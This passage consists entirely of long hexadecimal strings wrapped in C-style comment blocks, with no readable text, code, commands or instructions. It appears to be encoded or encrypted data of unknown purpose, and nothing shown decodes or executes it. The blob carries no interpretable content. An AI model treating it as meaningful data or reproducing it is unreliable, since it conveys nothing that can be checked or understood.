28fe65396813b6a4f357727ac3e8cb406d496ca79ec2b91b376592a55535affcb06a0e2d943dcd7eea2f685940bf0616eea847f34c29b74af503aca773cd94f44b27ccf35413f8ad509c69c4f6239cd6a7993a1cfb41f0addc5458f8419c627afbf6e888a4d61f5ecfb9df43047418d521889a0ee6bea5d1000cb2a01badf8158967fa7f4b84bd3af70ecd640209d08250c3d2cd5d2b17cfc3b6647248918dd9a01a848d5ec0640b82a48cf2fde4bf0b2ddcf637c0a053a4db14a0ff81c43b1c4e1ec6da29ab4237632de168d113930c92ea49b5b0c5d7a2fa02daa9f8452cd1771a90eb6c9ac7bcec76eaf30c60de278887c5b88ea3d58bfbb85f61b8e3a5b08500bba2f9990cc4dd6bebf0c83797f4d476a178f997427652c7f9d793fee5e40243d9083c8524c96a2cbce3ff4d7321f96171f963501b8fe00fddcc2b1b24ad0dfe3c8df1b64c512bace8bbe613f067e1f6658ca1e4e40fb831e7e21b9026a32fcd6ad3855b7c4b8f539d1a364dbc8ed7e3f827bf6cc97392b490c9cb46def714bcb033b6d5ffe01237c8847b7ad0a1f77f8095194000d22150e4935a49c4f1eb68bb94f8cccea313c245de44a45ad3ebe6cdf2be9b076cd156a0d1350a44f1780227271422730357d48f71397bab3e781cf04cefb6af6d17140474b12d59b78c46d7514343f9f338feaad837d90dc326f64fa0eb2d895a749e8e9bdcab485683e886a0876e10b5c09ac2e7f483764201af6df763a76464d1e055ebf142bfc7fbf0177709b172efdae8505131dce5adbcc56ad2bb1062b2feb6146ee8fbbdcdd47cb04afea605f63b15839634c1b31fcc6e50d711d3766bd7e9aaec933af744a968e277c29ace8d70dc6911aaefcf05464d9a076d7214860b8fcd348d1*/
/*d90f3373f27c0547afc6b0c46d842b30f0886f53decfa106a22a5a6d00dfeb4b17923f90e054548471405c5f612fb1bdbc71fb7b754e1495c4eab6a9ca21b56c75fca0a13d2a3401133040a29068ff150402e21a320c9809012b75bc6c578353c904649235d8bc4e176605eb3bd2532b8ce9c0dd5da37858c24d54ef4f1e915d2f472bf9b822ecfedf2ba792af167a4d10c6db99eb1acabd36bda1e52631bb0f2edddae19334887773ae056542028346e3d46cbdd58bfe36e25a400b2faf75656d83a98291d19f1b8aaa4d43f399ec0da4b041433d04879f0469c3a84afc1cd36606641faad53e1793ae3f55cc78c6618e28ea764415ca657afd07747e3d44d8ab257525aedf31b01de9da0656f772397fb9644046835538e865bb21063b39daaed54e9281f9b4cc6c5581b460cd52679e55c2aa84287787b6fc5cc02b4c642be190ebda1691a139b786126c4d6fc271ada2d60a270522b1e5c99f3587dab0f7423657574729eb2197d9648e84de031e4ef949b5cb7bf6e3cb3c295ee3a6d7106000d5a3f3af3e5eb175bdd8e9c098b7f1dc5ded3ee5822843a50b4fc93707c98ab127aacd0f2cc7683b95b9b53919d5e6ec93890472d20abc3f94f805198b0fc86e088f9517e617586cb33975e21e0111c21eab4948a2332d3871c9e65c568b33f974025c445bdade77ec1c9888a1f1a476876462eed4bdc740f5670c039be300a97d51c1da4fc3f8e45166e6fc1fcd1bec647918616d270150dfde0cca829ee9bc0a025616d99acad8f144745bcab426788e6a863ecb44575517c5d9fbadd72c73dbaa6ccb6e17f2398c6f75aa4aef746471fe32a33cd8799e7c6047f905e2c5a3e41513f9a4e39f3a4957356640cfbf4c012e9aed819feaa251393cbbdc174cb93c0f0f42d5971fb5eae668898120c1ce4f6905c782cbc96ad4a01077f7e3ebf7361b176eb02a5fdb7c5f55b5a5b3add747c55140dd698cd8ade5d180549210e976d4518fc9472797fd5056cb6f1092e1f04c0fcfa6e5fbb90fb91ad55b482dad95631057b3a991d81a1115a6926dbe4c03d3353a9102cf3d3e893199ca6dfcdd25d978a94b8efcdf8b9e80dce9125174a5ddaca48870be4d2bd97a9addfd9c99eff7f8bdd250115a42500f0cfb43c7112254c73fc6c2cff657cad1c7c65fe6335c3981eab2f0351a8b6318fc71d9816e0e7c28bdf37a3f71fab9c333c9ff66c0874b099ad9c5cc4fc31d9f861872c4a2aa2c02c4820c567a5f055d1ed1a8ed6b04581324d9ef88e6d4c21e7e137b90c6c88e92de6e5248f2cb63586b69e217e8b6b8e226e2d665aa0c4e5d059033b7b07648a820719392f8e446475987d1b4201846378aff41273c4c9a5960b24ad7b998cac02ee31d96b6cc955c98468733702b3bb659bcfeb07b2032ddaa884dc13ee4949574bc10cc17efd1ec01991aba4dcef92da2227d03f08a901ca6016fa5870c401c8bc759444cef28676b5a18769042fdac7c2c8a67a9db4dd773305ce8c5d6707b1c1528252dd4b5a5293ecddc770026b53ec001fe814edbe5611d72ccd51879018902000beb97ce093a1db6af3143c32e8033753dd4aa19c7fc13ae4378e902d495f4cf68329251036fddeadb7ce888d774d6a9e46f501ad81cfb0a471f93081d6bf277477ecf2d06b7da247c4f8d4339c8cf8f6e6266fb4131460f78fd5f3285b0077e68c2cde60c03a4d7b3ca8deebf3c83ae892ee66404c745c12a6ddc3f6427cc906fad5fe4fd8c66311623b43c7ac6f0a88227d873820b91c0fdac4b0f605fe98e2c041772c528223793297203ef3b066019dfd83a2254ef17421fd5e85d83144d405ea209a357accf2cd314595d3cbdc759f45de150f971241ec28a9767dc443cebdf9cf5b672889ca322fe54705d8d137b9c9acf067a6e0d15b8d957fb6914285f2b19c211591d894c7e7c1c2cd8aa12b030f07ebbec4a21ec27f5de07ea9d1e8f84ed85a0bc5ad6e8f4f0be32b22dd6b9015dd85c75b5cd76603e17ba24459089719468866e2fc891d41a0791ac7a7317481591fceaf413bc69b7657202638d8b5e664cd3a6fe3e03d1c246ef5cf123ea287ba37461f6b7f9e6ddbd33af4e0ccdb37634fa0b6a1918883542c41f210c61670f9f22a1fd9e7f0f73cb3e2197eb82ed6b9cf0c79ca00ec9ac894c98d9612cad19a26f5fbbc1a7945219b06408664072b4021157ca0e9d8bb05ffbf6c8cb9348304c3afdc97f53bc4245af02479640be2325ba0d8389a0c28b8a66b2ea1ef2d8d0311d403dde043f7d45f0464b8e16da375139e7da0472464d75a77f7acc55ac59c85302611e142601a90e29fe841cde2b750b4704c592c6291985b6b5ab5d066d071e2d8bc93ee638e02ff9d48cc76f6f70b0e7d30d9314cfc5ee431befd6a86b9b3b5057d03fd61f24b9d6f09a3293223db37ebc8f2eebe15129f425ae58de8ad6f67740459893e43fb61c82f448007557304fe20ad9cf24d9501d6f8dd5ae968030b712905ab2516526bb5b6e834804f80acf2241a8fabdd482dc13e0d00ac21e527ead38a842572cbd2e859d20b7eb5ff3ed774b14277222da2902564ac9751c73ba3ab0756bc21f566eb69a4e112f8576d2ecf1be97c1eec07ef0d31449171411dadd75b9c3ab67cb81444173f87ce9ef4e6688147156e0709c37a369881ec56bfe33d4672054e028a3d5ef221c9c966d3ac0c872d7b1c8b3d1ba3cfbf91eed9f5247493b088010ce12fcd55fae7456bbc16bb4877f93a20019d04d819000cb21985d7158dd6470d779f49a7846b0ee16beba96ff0117bcc81a97ace18bc777daae130a*/
/*62441bee79d3a1896fef357edb82eec2a781913ab5846f3131fdab2fe0191e2f3a346acc8bfc8aba95d96e515d409a02f83e2c813ff33b05a1c6e2736277d7db322b890170529a97928cc0bfd17d7b2197eda12af33c06393217ce5efc7107054cab97e16143a5976c87d78cbc2cd877683c9f47618c1c8a889f38540024d7cb5633688b1df3889378442bc829e25a0063178a26c1791bb031d0c050f33bef91aab5ee242c0957e0ea6f06b0bbf3fea2579703b0f607b74518a7dcf7e6c38388bcf8c8c583a4192ce4e49d8f22657c060a35298b5ff6b92f9322465fedcb26401e7255a421d44edb9fcbd24b860a4afc496cf43b220152c2bb43915cf8d32d6f48081651b758f06157bd3b046b11a64bf6dc810476e2b1ddc7da346357ef642e9e3f12e9872d7f8103a237ef8dea45d1d102ebecd17ae482d496bfdc072aba87132e8dfc023902307eedef256b65bd3b0bec4191470db5cfcb6f27196fa129f50eb8721c3adc6a46335e3c76cc865c6131e66747da54c2fdbf83b329a0c5e3e87bc6ff23cc67018439d4081a6e897b78f2a576bc65a61cc591a47010d560e7a3a2d5bc36965a6bdbfed8a4790b855c09e75fb21c9a88dc2ee152d8492306c2d2f56a1971f85bac15afaea6d17fd027f76a6e6f5e98fac47a9898f2130431e16f35a0536f278159ac19f957d5a2f0827f24399dc63295e54619241895e31a2d286ac131f11027da9dab962a4094103e8dd745a7dd7530be09185fc9dd699e53ba26de5560e0b83a6b912c9dbbc6f1b0a283d197b7fc09a687a49d9f1c324eff24d5aaf71b6005279527bbf61a6f51a2d711f05466a97fe13512c0c1389a579de6873afb8580d3b75132605b80384bdfd1830f935c696cd47f8c266394c0cfc253e82571905dbc9b17d4521255ac92cf8165a8587cdecc8052051c7c41148b0afb0e47d3a1e58d0c3bad81f4a388686175d00f7b93ad841f2df1a86d24f841ffc95586001dfd372500ace36b55f3b3585d7c5f03775a07bbba0f601ec3cd686ced0645c10cbc0b53cc0fc19baf02d610156db045f5c8afa52dcd2becaeab3d8a64a4417b45d5e3f9c2fc2d3eba308ce7759691d3106833d43301da79e1452fdb5ca903327102d3a03a065f2f4601b611ec010c468416d3a333900438c839dd932d722b7bbc6e39614b313a0f6dccefc8ee4baa1f8a875777d05741638f248b2b586a5fa24e93b0b823dac7d4fce73180a762663a8145b75ca8ecda3e9a62f657f81f21de991c33dacfa270862c6e764dd73066ef92dc4f8519634dc25c264e5a4140412f5bc5c52a7400a4765c06717976726867bb3864454b4ceeb4b4d9619d02bca69f1c48b4df3c47a697e0892d10fcff77ed9252bf98ae00b07a3d4a398c05fd5c7f85165be769c645ba08cdf65bd7297bb304f5a9e23e2512e2fe3144c8f43a797432f24af5bbca3fbe5924c2ebea480e57f2b476600b6c06d948330415fb86dd47c72865b82698f688bab4738514661cacb3fedd82146ca853104b9b5fe700f34ad3461c9093f1910b3cf7209c0f9a789f2e82125add84bb23e19d050c9f47fa75463ca8c1fff4a4a62c89984165b7096ab162685a275d65298bcc6c6acc887f8222386e7a44671a72a63c45ffd0f4d447ddac3f32dad45f46e57694c3129ac741e4723b45ce343d8b4874fb16b8eba74d4c7641134df6bc0dcc3b6ae0f1b1c1702a5e18d8930018be28c2ac68cc11d7a89f6e9c3356a00a65388001d8d1934102be7fe3f25387977ef1e3e2ad80175daf8418bd93e6b202795a10a3b19f70208955bd0f38fea102e8396a86cf0995dd8ea617af480a025874f39045e22f68dd0e750a28cef18dc881c29fb987777b2653aa22c90ae997fb8c04cbfcc671d05de0303056e63965c0906bf39de7da0927e72ca555d93d422ea8a34ca567e9fcaf75a99657a70a3fb28ddf55cba213aaba598fae3fe2da2e4be0f1e76bff6200b4beb332f4d687a15c618fff939e7a5a91c70f8d29a88d711d7447b2c75abed20468d6f629e19c6e50205d4cc75d4e9529a79e3f2638725907e675a17fafee17d4b351f7387da8b4cf2340cfdd9568d68b416c5383bcfe4506585947c791f3f812a8456ef7f3aee2d9958a4f1165574c558fe8ebafbe23518fbea2d8f5f210e437e40e63baae2f9daf14eeab4b20c8f2333774cb58be7ce5e9133be08dcc41fed564c20c5a4bcfb6a0a8a7305a7ea3717b4a46d47b41c042646a277cafc48c89494335834a8ee65533ee275442ffde48729009a5d845f1254e0faf61685cbeb81490e3f48a9b680654ac40c13d08645b7d7d82beedea0a5c7d6a4d47a58a6a9def92a67272ef2352704693573c20a6e9906bff7aa9cccad31cc733a6f086936d6b0a6e70e7c8f3a1290de046f7854ae84b93cd41bb0a3b1e721b929300efd78ddbd369afdb2672065b407126228c18a777d9933fb00db500a2560f0e34e91718fe5ea3e81c71bdf85ce42ef5b86d85ece0364352991a0354279ab7da13223f4eeff52cc1a878a5025a7fa9d3e85005656c231870be462db3301436b13681afff2f18fc721884cf1663080df2f62b82c3ee10c2520d56e89ddba8c179a41cde9898656a70afcc60c8f7358824a1bcac71c18da3322fbcb004108485d9482d33864c7dd907d89951e4d4afc2cd563768b26a8e6a568790d46da6521485946935d58b3fda665b287a863899e1c406098abadd7313d41cac645c59c10a28bf864ac9991ca8ab22c9f728c59584e57f401b3ed1748a17d075b13d1f9d00e4fa064b0021a10de944def26a16da644e83bd30*/
/*fec49dd34fe8f9b6a05a51ec4af3a00f3ac5ec0e8a81f0596218c9ac8b06bcebfe8ebc76d0b951bd8cd1919032dffbb59026b323aa5ac51423b3ff5cc50d76f034643fd7759d216ba8799109f48a6d2b4c35022ce24f2de5c443735a88e807ff0b948b66b33492e9e6c8fb74a99a3ec1a2306314ac9c1346f21d379b1c1883d53df47064f1871679a77c14be731f208e3edacc545d64228fdf2ea1b59af6b92d4a93c278057c6be2631c59fe8c8d6a76ddae6199474b48b18182cce1f03b9a9c8aea7ada85bfed2a2691201fa60b01cea8b469569ba617d466cb7707dd3ee052a6d6cb4678f958e8b82c87494b57a9131509990b5d9b83ef5cd12dbd69c872bac7b4088e7fa450b3be8215e086d12c198c7a755563e8095d0d77913e3a85b9d3f568d2f8592d925aab6005663ed308b2bfe575a45c197223573a832c070d4967b836ab2cc91fe5207a4edac2aa3754e31813aad030cbd1bff341531a443c860b99b3c7472e440ca29d03be3df9e4966a81dc26de457cbcf50af5f059b19003474328b7c4fd842cd76c89de0748bb3f279e2e74bcf5ceaa20156e8a9568f499ff579088a83ad8e652fe36017b806d1c9ded80eb7f75f2cccfbf43e09aeb18b6b23865455e29152c87a026219baf2da0e4f08fa1a8aae386bf2191c103227b14c6b27b6d07437d6bbc5608535a5f678e4bbd28145baf2e063a5f0170ad962975f74ebe93ee4106b1eb11869b5a063ada9a40b34bb8763fb05c97f5abfcf8006e0e272797f05133471a113eaf67f8956f68d40b968bb4733a7d705afbc8043c9e061d0fa1a6250ca0aa751061666e3d74ba5db61449a1f05ceb2571895ddbb49f36682760527441087985af8afdc86c77030de655668cdabbe4522e3d8eb895c54d190763a41e896984707ee736df900b62cc797363845cbc7f603612f98a05f43994308ffc33a14c9937489185000287ddab4a48145ea99b737a17f20b8732c34f0fad95d98558a302e937072bb4a4ab5fc3f59f0ddea46f57403ec4667b388b46718bd28785c99d0c0f0c4b44a868cc66d85640ae6ed1d2e1d1de03db18b8d2c87ca34d334a6af22e6c99cda4e3aceb9d647e1610290280c6c33f1bbf7c3cf027b05548dfb28cb97d7b047da35ac74c772081cab1e1eb477d7f6fe30e7ca8ded2fd71e09ba670f3fb9441aa2df21db53588a2306e3058004f4b0d8a3e292b71f2bd82832849a49c145c3f4e21f4b8cade7e73770ecf50947dd8be3ceb2330a2b25bf7fd8eee8637b38bf8f8d63692e339a6301b33dba43467d901bbccaea3971ce3d6c4a467cc467a7f149a2d12119bbf8d30f725a63d498ecc7102ce4ac9ce90f5fd4a89e4ba5779bc5b11fc831b17fbb2a94710cd2112fdd57793e7bc07f2329321c62fbb2a16e3e96659345fdbfe5cc7356c7971a2e96afef2ce6e19d8d374b1bad2e46bd4c803a8950adad3ac0c8c6899265e824e8b74159684230ae32df2d5d5ab0b149a75f01a78666f34b1bf59cf0b9f4740711a3d6fd03950e2f918aefe6e02d824e4ba60f2a4f97579a46573f086d4f0e2bc620679c332ef5843785417bedacf357921a62f7518412d8864345fb5789fc7842ff5a6e4c0947293c6c011e48d5fb484777f478aa51ee525d0516998a62640b7f0116fdae01ea116facc4e04f9ff57f5e0b5b717b808450b958564c72f36c3ab2be0f68720dae093265cc5626ce11b56efb4520b7c829d79f08fcf43304171b1ace8646f3944fdfa51e28565a1c12ba6484fed052f8517a77a5cf2ec6bf0bce22cf5b028a1f13167fe33cc96d3f6c7200c459b42eb444bed1067cc221aad19b0deaa0f1a1c0c921922c02f361750ac99401b3ff58d00b91c9022ec1db32e1ba97813134b5bf0789f7d5aa66e7e1cfad6a6cb14109eebbcff1f8124524eaafff1a2fda77bda757aa3bf6e51ee7513a66c1e5fe3553e7663f3417b175b63a4f7ff8e2a005516a923657bdcb04cc66d2c17171f11f85f31a15e9bfbe70b9c035b9ce7772b48b9269efe61ec281727a108040fa27c9de0ee97033f7aea83f808cf50ad799898652f59c6532fdb18c1df4ad07135be3d2e03a79decef1ec03d6f8201a15977f33184094aa7b480ed33eecb14ca0f8fa03cd76467d71dcc8565d179055814e34cf3b46f35e7744a5c0cd41bc9243366f2a0d97d33f725bc9fb9dcb2d3e51642d064be96e0ac4ae98ed9d8aa961e96b8caf8de8134474d2feec11e76b6e4413534a78c846d828edb470f924de2b9e973fa668c9295c3b5d7d92c66929e6ab20b9da8da317359d3f6646cadb1e7cf31fb75705c2dd3cb81bc0f99235ff49406c41feb64d7c9f0921b3a432760b94e0f66dacb23fdde795f6a9745cc49432482f17c314402d0a6a09a457f0112792e350274d2beb3d8a565ec5c3bb02c56e9c2eb76bd98286c4f45568397574d04dce5fd71690f30cabf4c470a4906de9c12004a0e0ec266150fddd5444587d956f080075b21e5b4f9c6e18b10e9edfba229e9ec8261402e197a74371a40f75e1589242f822bf3a65766edd3b4dcbb416fd159825f7a9fd1f68b8e8e1c7583a321df4676f62773b708e82431f0bc979d31d14d454995608267f011c92759d4f68ea7e9f88cf90f3002c89b803beac50811b9d182eaa495a9aa8bf3868f60ce195445e8c968ba7d5448807c0e121abfd724c241cae7a243cedc8785b818e436aa0ef65e9463910f19cc5c80cada23fe14280c9893a41d39294753a3e5a145d8212fc718ae57172602c319f86bda4a85c8a4d42a0a2eef31f40fa1f1f8320d9873769650203595af23fe7f5b*/
/*96efd558d93179b3a22534809e6afba18eb942a40d865fc7cd9fe67b2d51d6ede0fa9c1ced1ab4c4c9c80503767e73140b3325e71908726be970e201bfaec087da48eecc09c2a8a9c81cb5493d9872888b6cafc7f45ccd092eb28fceda69c7ce8b1c1cb74622ab267fd1b4b172e40f2c2769c4bb57dc08705160e94d06e9375603ac397659d473d753828ea0df3aa350855372704b28a72ddc16274d99766dbbbd107cc241562c9e27fa2fe8fb2044c751ca8cc097df36f429fa3f1be8388ae292536854852ba9ec6c886b361eb46847160fb5061a1a27939aeec7a4cb127080025ba8c78220e4da977dc8f4fcdee418224f05fdd886a011ec3954c4842e7a1e8c057b8291868bc754a6b4e69a0a50f95a44d00b1ef22ee16421faa65717f02835970c5c66d4e7c41c64aabc52c05acdd6b2c12624eab78a048911ffb8ed54b96106af79ce161cfe586800bd09b45824de9a7b0e0a8d56248accf5c68ad8ee2e084904ae26208fdd92b493316bc6f6818b05c8bb5ee34945394f813b4539cc93388026192f6e958c46b53d26f8be472d28ce7a0b883a469604ddde078bacebdeec405caefd634bccad6341ee47b0e5cd8222a521dde00645bb9a8ec376cecead69a48b5119c2d6191822f677da7a03377ff866f88aac46edabd2306fd448e4611998159a9feb3592ff9b8b7ca9c294bf10bb8ea031bcb361a77b4b560ebee15b1136c899a20c6ae5cd1f5e39c95b9871450fdb63738e8fb0db9916e78bbbc20e88174854d13388e65e898b5044a3d4566daee599b59380839240e2b5a108502ff99668c59fdbbabb076441f67348891ba0136a9f193899eafe578faa5f6d63dfde592d95e3668802e5ac4ee53875861dc06354ea8c0237346efa653cd4826d94f8dd24ac4ad0e2201722ac7182653ca5bd6bc9b2854387a65b9e4c637ee0456c0405746189131611ae876efa37abb9526a100d5e02804383cec604ed91e9d9294f419eafa518dfbefe9ea210327ee46fb0c281b068c6a08c43c933f69d2ee1bc4af1fed373d22c38cc5f8db56074752949c768ea76a51f32937309cd8aaacf51d3feb14399b51afd8d500a296044312c11053b29c2238d7e0d4abfe83db6256d2e58d4dc5d2df9f863381efa0354dba427b48f44d6c5dde8eaaaf061e3348b27d73ed7a484f679a78976abc527d63f90d2f5d599ccd1749f6ea087c4d1199c84296963dfe96de9918391651f1ebda1ae40c79372af1a8b78748ac72b3e61c90b1daf4b3429ecb448256a20fb825cd2ebcdb85c650c1d9de401a37ab34240fc94e9802912d523192c2575d253dce77525c0f5b6a4310108f0a5607d081cc23785ce5ee9993a12dfe769eb818966e7b11df1038001ae77733d59cf325fedc4e27139b5527dd4b39a5f4c5db7bd44c7d12de2f46fc1635eb5541ff9496c2d7299c58310ed8d79209afdbc88fb33e58f788b689308aceb31058cfd86a5c626fdbb23d9c492c4ca61a4cd14839bcabc7bee849645740fc1e0174ceeefb7e2c9b1ff0505d7806d38e4b1e820711157960eb4d5d03479d525ca7d83ab0906e9415ea03c17e7fda4a64d6c71ed58776a7df4e2f9829cc930267970e580816405064c29bea1b6d565bfe085958a3445003772d129db0211c874ee08bfe6be53908d74386c5c76cddd72720842073bd145e1b5f39e7311ed703bcfe0d2d342a00dc5797e307a5bb4e46737e712a469f793a2e7693a2f13ff94c97ec27dead9f7c690bdd6a438f0f4ee7ba3c32300e2016ab6846a52899f098519aeec0fccdada6e3fc5b369529181f8bde27c0bd082cf8f3af59246fd71cf65a027765ccd1d4e426a1ae2c839e862c1b7fe191b53f18c9a6a06967dd507c7051b5e7f2de123d9bc6f9472eca91c9329e6027ca818978075a80d012f7a95bd9baa29d2d8d8244c4e6b3b85779a247675ba093837f08cdc4f12ad7f01e72edccab33c6262ca5495a4df13b4befa6ada8cdae4f8edfe94755e3e376938672313ac402c3b7f60a27ef6fa6628d516106d29420b1775d1a920dd94e6d585abfacf80a5a8dab4d46055a113dd61df8c1a65991f60d6cc058738322ef1e50799a5c584be6a6cc1be41cca27babd8faafa92d0941ec781e35a27193ffb8f426e35e3ceb20605c44d32a811771b286928b2c6a0d3bef5f68b86dda9ff89276f02db99943373c68b684c38aeb6dc0e0433f569337e0c913d62f0744e2302dd6833c732bec94a320b59de8264ec0a9b96d2d78b641807ab7226bfdbeca336dabaa6fa5bb27288a4acfdb71402b95a2e7cbc123f3a85842c783f57d2716c403c5276e0161abf6c7a608d44c801fbaa38c4dc07769ee7358c1295ce2970d4dee9e72bba0d7951cd839c7659a8cdc3f6cf3a80d9febc35800c1610ddd763a8a0004756dbc304d09fa3e3234540493d53a5818390f29dbfd19e5900655c4f12b5feec79cd340f15fe0709ba461b7d133b2ac59dca0ab343e306cb35b5ebbf7f85594029872ee074d5fd6816831e9cd381e49767e2a2785e39ec3cf23319dc5562294b6c07713e7f31e2180705fd6f1c2490b9d5ea6a19485f12788ef99775dcf9fe8f9fe596d2912a5fa82e3b1726d7fa9f4a7b45a2348a1cd8ed876731fb08f2bd54a904bf01899baf59d29f5df372f1ee1503b2d5f778522490ae48efd96965ef2f993e64a02b791c855001970d26c6246941dd34ce37eebc7dd93f1dc154f51b49ee8eef9b8e82080ba773890b03abab2d9e19bfbba5698e94ec05cef3398e5910abd33dd8cce3e709c53f4a3581c27482a16ac53c1f53cf17e4bf8de0e6efffad8*/
/*e6e13d84eadf9ea26cadd290104d505b1214bcecaf5aaf1d8af888ae8bbbbc7c04ddb1501c99441a8bf651b672631cbb8b8dc7bf403eee374d636548adc6691ba52f9ffaa0a680c37eabb16cb2bf4fc580d202254f7dc1e18aae817520fe2464d9e11442d10c709c4014411dbc25a8a46116e312fa238cfde0f719a4242e8698a5fc13484d3e46878c8d5cb3f5c54e53a5db2936c25342b19b43e386aacb2177e1c1306493c75adc5a1227d8b97ed80886c69936f4734928df01bf7f3bb63fae95a4b867fd25eeb655f84bbc7d9bf04d0b7bb105f0a8033db6b136a612771a11cd73315c538aa2e63cb063937898948987107f109c66f954b579c6ccebb83603c2ae40e07ef546e272588c0409837a5ea768caba4b9f48ebe415c7c727b0ab06b132e1e10162387f424ad43a37e0d34c2d4869220a3bdfefd713033c0e9e586e21e3791bdb8705f0767815086bd0d3368e729e8e5eb8cab0db68f7607c53dee942df2d9a4b9f200840e1ac0f4df6df09aa5a4656b2f9cb2f3fd3bab4b1a8587e0b6d98838a65ed78bb8a4aed486b7e7f71cabede3a67be04e0dc74d8e440e0a06abbf279b105d17eee5ba29a503ff48a85e0271fac10d115e3627c2608c6c99b33d3c9d1e6b965d9db127a6262dcb40b7e8549c7133f92ec5f0d6a869dc6a5b937301b51a775e5d7ec460e77cd5a2bdb38d9aa4181dafa1612205bd2493529b189ab56aaaa6987032cbe32efe8e7e0baa3987c193a3c741ff5db116c5d9c71209900291bf387ba307cfb86356eef8273b609e8f1426dc53abcf8351fc8d36c149757e737a7176f4b35d57316388e88ad058ee70a670b824234f43cc0a8d401fdaeeede5a087c3d1fdeccc8b5c997030bcb84c27528a4e0a97f596fa17a8f0187e65f296754278c3199eb6e457fd0fd45e1ae5c3bbfe9dfa684eb7b306e7333181725301a3db0c3029bea2e8d917caa960e6df8ce6680e64c8de9af1df9fd5f4ada14b8651e84f4aa14a922c45ac0a3fd6ad7e6f1beafb4937f4b296c7f341f779e8edcf709c25592e1333244eb4e08fa7e4a8484f0ab66b5bbf251633636428203c108ed5392030405b6ef33d36e63ffd5598ec69513d5122d21e49d26718ec420bd2bfd9317e18056150b1ebd6d24135820317e1a93a020e8e6d35e677cf88a1f13e6c6e95e3aa129c6af627b36a6a6d0b1186dd9a1c8c62fd913c56ea64af74c0df91ea2b1f2b4faa90431d4df925c76e4819656a06e2c42f3ceed32b2fd067f4bad179c01ce9f8a443d95e17c735e1ac92cc8e24c16679ab444903ba0d80ed3d3ab6050d05b63335a1a34b00a6d5a74079cc7e67bc96ceb8f5490c8c06455dfa7c8c2591c14b723524836a532448ffee07da55eeb5e4d7ce0901dbd9c0818d6b0404a520b1ff8f8dcca9a4cb2144567d8cdd1011886df02370e6e612cabde796224bf9f521acd5049dad3546ad9cd082c616abc984f1885295bbaf53f03999cdd65a5832670fa2667b7dc02fa152ce77caeafc51c11fdcdb4db88a2f88a78719a542f5e588512b46eddf20c4bf5fe92ebc0b730fca961dcb9c5ded6213d4019033b8a31ca070cf74f2ccf61fb1660f6a66c73b8d68b4c34fafecd823e7e002c5d120c5059644e30ac575ffb328d282636e862739c62abe8747839ceccc35efc548310d6f74490cc248e5aa7cf9de6d43fb44372e81da1383ba63b628e399e8e1bdfe2fdb0e9686a4bb2d60379bd41619b7aaaa4267040a3bd360577546b82ff0641e7c982fa303343a7b825e1569fdf596794cd4a6826394b05ca200b2f03a595fadd3552b9cfe6ec3974de45b428cb3bfc83bdfec64985d06fb2cc97503e9fc89ae93fa3f98d430de215b64bd228a1807cd024ae7abc5caec86f736a66339506016c614e19ef8054be542d19ca0dec511a3c768c33142a25f9768fd297407b849f5090676ab328a89ed536f7f94fc07eb029ef949ca45c98a17a922c98848d136540d9708542cc077de710912f5e34304e1835362ed66d210097bb517adaee83fc4ba85cc302ed9bd0a76ccba27fb79847ad9efa70d236f3070ec28c5fbf34ac9dead7513e23b32d6ed84245ed5aa32334932c4e626b1fe79b1eec4b5e9b957ce101e34151b2470225deba8a1ae25ee6d476d640a7285346d4141b7f376784281991ff70ad2eabe5ef28c7d92e8ea6ab6e65f11c4e38b7fec12d066723d608ba19b7e2913acb7ec451ae28d1eef91218f06f253550b13b8d140d3b9185474c59236cfa3983c0123e859a9dbd6c175573347451acde8686fca8ab59c9ea83a827cbaa7b7c1cbcd7cae4b78ea873a92e23743684c62e22c56541b47bb4f84c11a9c87eabab7c1f31d4bc929d7062b1d2ceb82f3a0fece0af0931c9e0d986d68b2e06e12fd3a240eea22c901b3413fa4dcf4efa363adacda17dc2835b05c284d500d5fcf4c4a827faf870bf222eb186dc3a66728d8ebeee6cb1fdf2c8ba31ff1b288243a9c29d0882d27de07c47797e6e611ce9463c72e9f75954b5994a7492d76b68debd39eff2d3b0d707435cf57829a2be35caab4728680531df12041ad4aaca53e8516f96b4d8de87674d80593bd1f577273817cf797ed58233b195fec47ee2e0140f40865242617b7c7ce4dce537bec82ee19555fd998c57fb64389796205d676726506cfb73ab2530a3beb2348587099e5569acf604a49949202f6c8673f6354bf8f01e754b5553da113f7f971b54d52e73a6da76545fa4ea0404a51ffae83d0267cffeaadfc8d57a6c0d816064af7f00cbe268a3f87e57d2f4c7b4be928c1fff937b279e8a3d27215b7ee0b6*/
/*1e378b0ef5037f85453b3126a0843581a08be32f3746cae4eaa183e0de775f1a21fd0f2ffc4be6cbb9668e3281b599128349affc1bed93ac835c76b1004e71baff2c46d39f4f5d2f41c06baab61d0c1135d0cf4297c53ad84381e80517badc3e99ba75c6fba53ef796b75d93cba562c4003e63fb0ea3003e515780287ee9e2730fc7a962d0073289a24ae6b4bf832a833c72ac14948f45f345ccb74099af0b6ed31590503de96af8681ede034280c67c2d49efcd7b1480f2b3505f5e12e5e85dbe6cb3defda9d0b21452e46a7b473d9254de4db6071b91d8fcdba4e0c78ef75c21dcdb62b77a87f4ec1a515293b0f270ef69be97de96cc4ce2acd68ec8bfb38c74d79707984b5a871daed29c92a7295384aa6a260e252101d353706bb1fd8f27a9aa1b52f40c68b4357adcbaf23c55b4a0bec155a22a114f8c7daeea6056d667cf6cacef12916c06465416d7a86f58a54786089b62f5a8409eafe7a9bdf6e62099e2c63dafec856ae2b2ed1e8af5f04fe2a28f8c34ff5772086de02c854fd4b54f430c2e987c3c11f40533b303fcbecc7dd531d34b78595be05b0317ec08644d55f12e78ade9f33f2cb76bd2149d4024c74fc391cabfb1a91be6758bcc60a2b4d826078643cbbbb8fe7b400f4a54d791c5f5d52f9209c0c5153a4863ba7950e77fba81028ed62b88c12056a6484ed86ce3ef6fe84c99bbdd00f5479f46c8cfcd55db55119b70d9070c0097341ba772228f31da43487aeeb2b00e05b3fd2324498c674686a1bfdef102092554f82aae796202b934f8686f0928bc8f5379de4e6e92745f30019e98ba329e0c41dea7b2c2b2eb68c223171cc25dc0cf7851b0c06558d5ec7b5f71f893e871ab1a745e8f97614fb7dab3ab3a61bd313b4ff72ad61a6557298f00cffd4c761fae9a19c331024e99f8bf528c5ec6afd66d5ba081f979f76724b3d2be95fab2c7735cd6034a2bed89156602bcd893a14ebc1d0a076e91f3a8ffab41fbeff175082bd3885c8c844030be30211fe8986f00229e60fb4b723d28a591bcab45aa90527b0a783197cd830de45aee52d60f86ea0d9aee8729d8ddac5b1f81c9097ff102178476e8a0f7c442e1ae81f01e2b71791a990665f1ec4fc62bd094301f3277681dad52e7681afc424ef9a0544d03d37b84efc32e23477178f2e2bb3a8ea3d